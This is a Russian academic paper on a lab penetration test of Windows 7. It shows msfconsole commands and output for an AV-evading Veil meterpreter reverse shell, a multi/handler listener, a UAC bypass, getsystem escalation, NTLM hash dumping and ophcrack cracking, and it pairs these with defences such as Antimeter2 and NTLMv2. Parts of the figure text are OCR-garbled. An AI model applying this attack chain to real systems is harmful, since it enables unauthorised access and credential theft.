Тестирование на проникновение как анализ защищенности компьютерных систем

УДК 004.056

Тестирование на проникновение

как анализ защищенности компьютерных систем

А.С. Плешков, Д.Д. Рудер

Алтайский государственный университет

Penetration Testing as a Security Analysis of Computer Systems

A.S. Pleshkov, D.D. Ruder Altai State University

Тестирование на проникновение является одним из приоритетных направлений в информационной безопасности. Оно позволяет получить объективную оценку того, насколько легко осуществить несанкционированный доступ к компьютерной системе, а также взглянуть на саму систему с точки зрения злоумышленника, а именно - понять, каким способом можно скомпрометировать выбранную систему и какие вредоносные действия на ней можно совершить. Описаны способы преодоления злоумышленником установленных средств защиты и набор действий, которые он сможет совершить, получив несанкционированный доступ к компьютерной системе. Наиболее популярными действиями, которые осуществляются злоумышленниками на скомпрометированной системе, являются следующие: локальное повышение прав, кража конфиденциальной информации и данных учетных записей пользователей, проведение слежки за скомпрометированным пользователем с использованием установленного на системе-жертве оборудования, к которому относятся микрофон и web-камера. Для защиты пользователей от компрометации их рабочих станций описаны не только актуальные методы проникновения злоумышленников в системы, но и основные правила и рекомендации о том, как можно повысить защищенность своих компьютерных систем и уменьшить вероятность наступления негативных последствия от сетевых атак.

Ключевые слова информационные технологии, информационная безопасность, защита информации, компьютерная система, несанкционированный доступ, сетевые атаки, вредоносные программы (вычислительная техника).

DOI 10.14258/izvasu(2015)1.1-31

Penetration testing is one of the priority areas in information security. It allows to perform an objective assessment of how easy it is to make unauthorized access to a computer system, as well as take a look at the system from the attacker's point of view, namely, to understand how he can compromise the selected system, and what malicious actions he can perform. The paper describes the ways of overcoming installed security tools by an attacker, and a set of actions that he can do while having unauthorized access to a computer system. The most popular actions that are performed by attackers on a compromised system are: local elevation of privileges, theft of confidential information and data, user accounts, implementation of shadowing over the compromised user using the equipment installed on the victim's system, which includes a microphone and web camera. To protect users from compromising their workstation, the article describes not only the actual methods of penetration by attackers into systems, but also the basic rules and recommendations on how users can increase security of their computer systems and reduce the probability of negative consequences from network attacks.

Key words: information technologies, information security, protection of information, computer system, unauthorized access, network attacks, malicious application (computer engineering).

В настоящее время информационная безопасность является одной из важнейших компонент в любой организации, так как информация, обрабатываемая в их информационных системах, в большей или меньшей сте-

пени принадлежит к категориям коммерческой тайны и персональных данных. Разглашение указанной информации может привести не только к материальным потерям, но и к утрате репутации и имиджа компании,

что в конечном итоге в некоторых случаях может привести к ее полному краху. Поэтому для того, чтобы избежать указанных последствий, необходимо проводить анализ защищенности и надежности информационных систем обработки данных. Одним из самых действенных способов такого анализа является использование методов «тестирования на проникновение».

Под термином «тестирование на проникновение» подразумевается имитация действий реального злоумышленника по реализации несанкционированного проникновения в информационную систему [1].

Во время проведения тестирования на проникновение в качестве атакуемой системы была выбрана операционная система Windows 7 с установленным антивирусным программным обеспечением Eset Smart Security 4. Моделирование действия злоумышленника производилось в дистрибутиве Kali Linux с ядром версии 3.12-kali1-686-pae и установленным пакетом Metasploit Framework версии 4.8.2-2014030501.

Проникновение в систему с использованием атаки на стороне клиента

Вначале производится генерация полезной нагрузки - windows/meterpreter/reverse_tcp с помощью специального модуля - Veil Evasion [2], разработанного известным пен-тестером Кристофером Трунсером. Данный модуль является новой разработкой и активно используется специалистами по защите информации для осуществления тестирований на проникновение. Приложение помогает сгенерировать нагрузку таким образом, чтобы большинство или практически все антивирусные программные обеспечения не нашли в ней угрозу безопасности и не смогли предпринять действий по ее нейтрализации. Одним из достоинств модуля является поддержка работы со специализированным программным обеспечением Metasploit Framework. Интерфейс описанного приложения представлен на рисунке 1.

Просмотреть и запустить установленные приложение

Veil  Evasion 1 [Version] : 2.5.Ô

[Web; 1 : https: : //www.veil - framework.com/ | [Twitter]: 0Veil Framework

26 payloads loaded

Available commands:

info list update cl ean с heckvt exit

В CN_Arka_bmp.bmp

use a specific payload information on a specific payload list available payloads update Veil to the latest version

clean out payload folders

check payload hashes vs. VirusTotal

exit Veil --- „ „ „ „ „ „

[>] Please enter a command

: isatis ELBB9ŒE3

ED [root(a>mquizitor:

(3 root(3)inquizit

Рис. 1. Интерфейс модуля Veil-Evasion

На рисунке 1 — главное окно модуля Veil, где непосредственно сгенерирована нагрузка. Генерация полезной нагрузки начинается с выбора типа, который она будет иметь. Каждый тип нагрузки отличается от остальных и используется в конкретной, более подходящей ситуации. Для проведения тестирования на проникновение использована полезная нагрузка с типом python/meterpreter/rev_tcp. Особенностями данного типа нагрузки является то, что она предоставляет собой расширяемую многофункциональную командную оболочку, которая может быть динамически расширена во время работы, а инициирование соединения происходит не от рабо-

чей станции злоумышленника, а от рабочей станции жертвы. Для того чтобы просмотреть весь список полезных нагрузок, можно воспользоваться командой list. Далее с помощью команды use необходимо задать выбранный тип нагрузки, после чего приложение попросит ввести основные параметры через команду set: LHOST и LPORT-ip-адрес и порт рабочей станции атакующего, через которые будет устанавливаться соединение. На финальной стадии генерирования нагрузки модуль попросит ввести имя файла. В итоге получается полностью готовая полезная нагрузка, которую можно использовать для атаки на стороне клиента.

После генерации нагрузки полученный файл отправляется жертве, для того чтобы она его запустила. Для этого можно воспользоваться различными социо-инженерными и фишинговыми методиками.

После отправки полезной нагрузки в Metasploit в интерфейсе msfconsole необходимо настроить «слушателя» - эксплойт, прослушивающий указанный порт системы атакующего на предмет входящих соединений от созданного shell-кода. В качестве экс-

плойта используется тиИШапШег. Как только жертва запустит данный файл, то в фоновом режиме у нее задействуются два процесса, соответствующие запущенной нагрузке.

В результате запуска приложения на системе жертвы у злоумышленника появляется активная сессия со скомпрометированной рабочей станцией, как показано на рисунке 2.

оt(çi>inquiritor: ~

Tired of typing 'set RHOSTS'? Click & pwn with Metasploit Pro -- type 'go_pro' to "Launch it now.

=[ metasploit v4.6.Q-dev [core:4.6 api:1.0] + __ --=[ 1069 exploits - 670 auxiliary - 179 post + -- -- = [ 277 payloads - 29 encoders - 8 nops

msf s- use exploit/multi/handler

msf exploit(handler) > set payload windows/meterpreter/reverss_tcp payload => windows/mete rprete r/reuerse_tcp msf exploit (handler) =» set LHOST 192.168.77.7 LHOST =• 192.168.77.7

msf exploit (handler) set LPORT 5555 LPORT 5555

msf exploit(handler) exploit

[*] Started reverse handler on 192.168.77.7:5555

[*] Starting the payload handler...

[*] Sending stage (752128 bytes) to 192.168.77.1

[*] Meterpreter session 1 opened (192.168.77.7:5555 192.168.77.1 4-03-02 20:26:12 +0700

BCN_Arka_bmp.bmp

192.168.77.1:5213) at 20l|

33462-1920*1440-

The quieter you become, the more you are able to hear

El [root@inquizit

Рис. 2. Получение несанкционированного доступа к системе жертвы

Из рисунка 2 следует, что у злоумышленника появилась активная сессия и управление было передано интерпретатору meterpreter. Далее атакующий может приступить к этапу эксплуатации скомпрометированной системы.

Для того чтобы защитить компьютерные системы от компрометации данным способом, необходимо осуществлять мониторинг и исследование оперативной памяти системы и ее процессов на предмет наличия

в ней динамически расширяемой полезной нагрузки meterpreter с помощью утилиты Antimeter2. Данная утилита написана на языке программирования python и имеет ряд опций, которые описаны в прилагаемом к утилите текстовом файле.

После запуска программы с необходимыми настройками начинается процесс сканирования памяти, который приведен на рисунке 3.

Antineter и2.0 [http://www.mertsarica.coii]

[+] Scanning memory...

[+] Meterpreter detected in explorer.exef

Would you like to kill this process? Cyes/no>: yes

[+] Killed explorer.exe successfuly?

[+] Killed 1 meterpreter process until now

[+] Rescan memory in 1 minute

Рис. 3. Сканирование памяти с помощью Antimeter2

Из рисунка 3 следует, что при сканировании был найден процесс, инфицированный полезной нагрузкой meterpreter, после чего пользователю было предложено «убить» его. Также все обнаруженные процессы, инфицированные meterpreter, фиксируются в специальном файле antimeter.txt вместе с пометкой о времени обнаружения для непосредственного анализа и получения статистики инфицирования процессов.

Мониторинг и исследование памяти с помощью утилиты Antimeter2 позволяет не только обнаружить полезную нагрузку meterpreter на скомпрометирован-

ной системе, но и предотвратить дальнейшую ее эксплуатацию посредством деактивации инфицированного процесса.

Локальное повышение прав

После проникновения в систему жертвы атакующий должен узнать, какую систему он скомпрометировал и какие права на ней он имеет в данный момент, для этого можно воспользоваться командами sysinfo и getuid. На рисунке 4 представлена информация, которую удалось получить, благодаря применению данных команд.

Просмотреть и запустить установленные приложения

Правка Вид Поиск Терминал

3820 1912 pyload.exe х86 1

С:\Use rs\Inquizito r\Desktop\pyload.эхе

3852 3820 pyload.exe х86 1

С : \Use rs\Inquizito r\Desktop\pyload . exe

3896 1520 SearchProtocolHost.exe 4294967295

Inquizito r-PC\Inquiz±to г Inquizito r-PC\Inquiz±to г

3916 1520 SearchFilterHost.exe

mete rp rete r > migrate 1912 [*] Migrating from 3852 to 1912... [*] Migration completed successfully. mete rp rete r > sysinfo

4294967295

Computer : INQUIZITOR-PC

OS : Windows 7

Architecture : x86

System Language : ru_RU

Heterpreter : x86/win32

mete rp rete r > getuid

Server username: Inquizitor-PC\Inquizitor mete rp rete r > getpid Current pid: 1912 mete rp rete r >

Рис. 4. Получение сведений о системе и проверка прав пользователя

Из рисунка 4 следует, что текущие права не являются правами пользователя «System», поэтому атакующий может попробовать повысить свои привилегии в системе, т.е. совершить локальное повышение прав. Для повышения привилегий используется команда getsystem интерпретатора команд meterpreter. Команда getsystem использует четыре техники (метода) повышения прав: две техники Named Pipe Impersonation (требуются права администратора), снятие копии токена с правами системы (права администратора) и эксплойт KiTrapOD (достаточно прав пользователя). Ниже описаны подробности данных техник локального повышения прав.

Named Pipe — это механизм, который делает возможным межпроцессную связь для приложений. Приложение, создающее «трубу» (pipe), называется pipe-сервер, а приложение, которое подключается к pipe-серверу, известно как pipe-клиент, что позволяет серверному потоку выполнять действия от имени клиента, но в пределах контекста безопасности кли-

ента. Проблема возникает, когда клиент имеет больше прав, чем сервер. Этот сценарий создаст атаку повышения привилегий, которая называется Named Pipe Impersonation [3].

Каждый пользователь в операционной системе обладает уникальным идентификатором (token ID). Этот ID используется для проверки уровней привилегий у пользователей. Суть техники заключается в копировании (дубликате) ID пользователя более высокого уровня пользователем более низшего уровня, т.е. пользователь более низшего уровня наследует права и привилегии более высшего пользователя [3].

Эксплойт KiTrapOD, выпущенный в 2010 г., сделал уязвимой каждую ОС Windows. Предпосылкой уязвимости является то, что когда доступ к 16-битным приложениям поддерживается на 32-битной (x86) платформе, то она ненадлежащим образом проверяет определенные вызовы BIOS. Это позволяет локальному пользователю получить привилегии, обрабатывая VDM_TIB структуру данных в Thread Environment

Block (TEB). Уязвимость существует из-за неправильной обработки исключения в обработчике ловушек #GP (nt!KiTrap0D) [3].

При попытке повышения прав атакующий может увидеть сообщение: «priv_elevate_getsystem: Operation failed: Access is denied». Данное сообщение свидетельствует о том, что уязвимость, которую использует эксплойт KiTrapOD, устранена, а на скомпрометированной системе включена служба UAC (User Account Control), которая следит за изменением прав пользователей в системе и блокирует их несанкционированное изменение. Выход из данной ситуации существует. Для обхода UAC применяется эксплойт bypassuac_ injection, требующий наличия активной сессии на скомпрометированной системе. Он позволяет обойти Windows UAC через процессы инъекции, используя сертификат надежного издателя. Эксплойт bypassuac_ injection будет порождать другую полезную нагрузку,

для которой флаг UAC отключен, применяя технику «рефлексивной dll инъекции» [4], позволяющей использовать только dll двоичной полезной нагрузки вместо трех отдельных файлов. Эксплойт bypassuac_ injection дает возможность обойти UAC даже при активно работающем антивирусном программном обеспечении, так как данная методика не использует исполняемых файлов, и при ее применении происходит минимальное воздействие на целевой процесс. После отключения флага UAC атакующий может повысить свои права до пользователя «System» через оставшиеся три техники команды getsystem.

Эксплойт bypassuac_injection требует установки следующих параметров: активная сессия (set session <сессия>), ip-адрес машины атакующего (set lhost <ip-адрес>), тип полезной нагрузки (set payload <тип нагрузки>). Применение эксплойта представлено на рисунке 5.

ша

rootgkaLi:

Файл Правка Вид Поиск Терминал Справка

Id Name

Q Windows х86

nnsf exploit (bypassuacinj ection) > set lhost 192.168.77.7 lhost => 192.168.77.7

msf exploit(bypassuacinjection) > set payload windows/meterpreter/reverse_tcp payload => windows/meterpreter/reverse_tcp msf exploit (bypassLiac_inj ection) > exploit

[*] Started reverse handler on 192.168.77.7:4444

[*] UAC is Enabled, checking level...

[+] UAC is set to Default

[+] BypassUAC can bypass this setting, continuing...

[+] Part of Administrators group! Continuing...

[*] Uploading the Payload DLL to the filesystem...

[*] Spawning process with Windows Publisher Certificate, to inject into...

[+] Successfully injected payload in to process: 3732

[*] Sending stage (769024 bytes) to 192.168.77.9

[*] Meterpreter session 2 opened (192.168.77.7:4444 -> 192.168.77.9:49163) at 20 14-04-16 21:38:54 +O7O0

meterpreter > |

Рис. 5. Обход службы UAC

Из рисунка 5 следует, что эксплойт выполнился удачно на скомпрометированной системе: загрузил dll полезной нагрузки на удаленную систему, породил процесс с сертификатом надежного издателя, осуществил инъекцию полезной нагрузки в процесс с pid 3732 и открыл новую активную сессию, для которой UAC был отключен. После выполнения эксплой-та атакующий может локально повысить свои права, используя команду getsystem. Повышение текущих прав до привилегий пользователя «System» представлено на рисунке 6.

Из рисунка 6 следует, что атакующий получил максимальные привилегии на скомпрометированной системе, обойдя службу UAC, об этом свидетельствует надпись «NT AUTHORITY».

Для защиты от данной уязвимости необходимо использовать специализированные программные средства исследования и мониторинга памяти, для того чтобы обнаружить и пресечь выполнение вредоносного кода внутри адресного пространства процессов.

root@kali: '

Файл Правка Вид Поиск Терминал Справка

[+] BypassUAC can bypass this setting, continuing...

[ + ] Part of Administ rato rs group! Continuing...

[*] Uploading the Payload DLL to the filesystem...

[*] Spawning process with Windows Publisher Certificate, to inject into...

[ + ] Successfully injected payload in to process: 3732

[*] Sending stage (769624 bytes) to 192.168.77.9

[*] Meterpreter session 2 opened (192.160.77.7:4444 -> 192.166.77.9:49163) at 20 14-04-16 21:38:54 +0700

mete rp rete r > sysinfo

Computer : INQUIZITOR-PC

OS : Windows 7 (Build 7601, Service Pack 1).

Architecture : x86

System Language : ru_RU

Meterpreter : x86/win32

mete rp rete r > getuid

Server username: Inquizito r-PC\Inquizito r

mete rp rete r > getpid

Current pid: 4052

mete rp rete r > getsystem

. . .got system (via technique 1\) .

mete rp rete r > getuid

Server username: $U$N1 AU1H0RI1Y\-0x4e5420415554484f524954595cfleSflf2e5ece0 mete rp rete r > I

Рис. 6. Локальное повышение прав

Получение подробных сведений о системе и конфиденциальной информации

После получения наивысших привилегий и перехода на системный процесс можно получить много полезной информации о скомпрометированной системе: сведения о реестре, хэши паролей, информацию о сети, список запущенных служб, сведения о системе, сохранить все это на рабочей станции атакующего. Для получения такой информации можно воспользоваться скриптом scraper.rb, который сохраняет ее в директории /root/.msf4Лogs/scripts/.

В ходе выполнения тестирования на проникновение была получена следующая информация: HKCR, HKCU, HKLM, HKU - информация о реестре; nethood, network - информация о сети; system, system info, env, group, localgroup, users, service, shares - информация о системе, окружении пользователей, группах, службах, списке пользователей, общих папках; и самое главное, hashes - информация о списке пользователей и хэши их паролей. Все файлы можно открыть, просмотреть и изучить для принятия дальнейших действий. Например, содержимое файла hashes.txt представлено на рисунке 7.

Рис. 7. Содержимое файла hashes.txt

Из рисунка 7 следует, что на скомпрометированной системе присутствуют четыре пользователя, для которых указаны идентификаторы и хэши их паролей. Поскольку скомпрометированной системой является Windows 7, то хеширование паролей производилось по алгоритму NTLM, установленному в системе по умолчанию, т.е. хэши являются NTLM-хэшами.

Получив хэши паролей, можно попытаться произвести их расшифровку, используя специализиро-

ванные программы (password crackers). Для демонстрации расшифровки хэшей можно воспользоваться программой ophcrack. Для работы этого приложения необходимо скачать и использовать в процессе расшифровки радужные таблицы. Радужные таблицы выбираются в зависимости от того, какой тип имеют хэши. В ходе тестирования в программе ophcrack была использована радужная таблица с названием vista_free размером 482 МБ. На рисунке 8 представлен результат работы программы.

О„ Ш

Load DeLete Save Tables Crack HeLp Exit About

Progress Statistics Preferences

User Л LM Hash NT Hash LM Pwd 1 LM Pwd 2 NT Pwd

Alexander 2d20d252a... qwerty

Inquizitor 3dl2cde44... sandro77

31d6cfe0dl... empty

31d6cfe0dl... empty

Table Directory Status Progress

1» » Vista f... /root/vista_f.. 3656 in RAM

Preload:

done

Brute force:

done

Pwd found:

4/4

Time eLapsed: Oh lm42s

Рис. 8. Расшифровка хэшей

Из рисунка 8 следует, что все хэши были расшифрованы, а в последней колонке отображены пароли каждого пользователя. Для проведения расшифровки хэшей потребовалась 1 минута и 42 секунды.

Для того чтобы избежать или усложнить расшифровку паролей при утечке хэшей, пользователи должны не только руководствоваться общими правилами выбора пароля, но и использовать вместо стандартного алгоритма NTLMv1, осуществляющего хэширование паролей по умолчанию, более защищенный и устойчивый к атакам NTLMv2.

В ходе работы была исследована проблема защищенности компьютерных систем от несанкционированного доступа. Во время проведения исследования была осуществлена атака на стороне клиента с использованием специализированного модуля для ге-

нерации shell-кода, совершено локальное повышение прав до привилегий пользователя «System», после чего были получены имена и пароли всех пользователей системы. В итоге после проведения тестирования на проникновение установлено, что развитие информационных технологий привело к тому, что пользователю с каждым днем становится все труднее защищать свою компьютерную систему от различных типов сетевых атак, и в случае, если злоумышленник получил несанкционированный доступ к системе пользователя и расширил свои права на ней, то он сможет делать практически любые действия на этой системе, включая и слежку за скомпрометированным пользователем.

Библиографический список

1. Тестирование на проникновение: инструментальный анализ уязвимостей или имитация действий злоумышленника? [Электронный ресурс]. — URL: http://www. nobunkum.ru/ru/pentest (дата обращения: 12.04.2014).

2. Truncer C. Veil - A Payload Generator to Bypass Antivirus [Electronics resource]. — URL: https://www.christo-phertruncer.com/veil-a-payload-generator-to-bypass-antivirus/ (дата обращения: 15.04.2014).

3. Левин К.В. Metasploit Penetration Testing Cookbook -часть 5 [Electronics resource]. — URL: http://www.levinkv. ru/bezopasnost/metasploit/metasploit-penetration-testing-cookbook-4acTb-5.html (дата обращения: 15.04.2014).

4. Fewer S. Reflective DLL Injection v1.0 [Electronics resource]. — URL: http://www.harmonysecurity.com/ files/HS-P005_ReflectiveDllInjection.pdf. (дата обращения: 16.04.2014).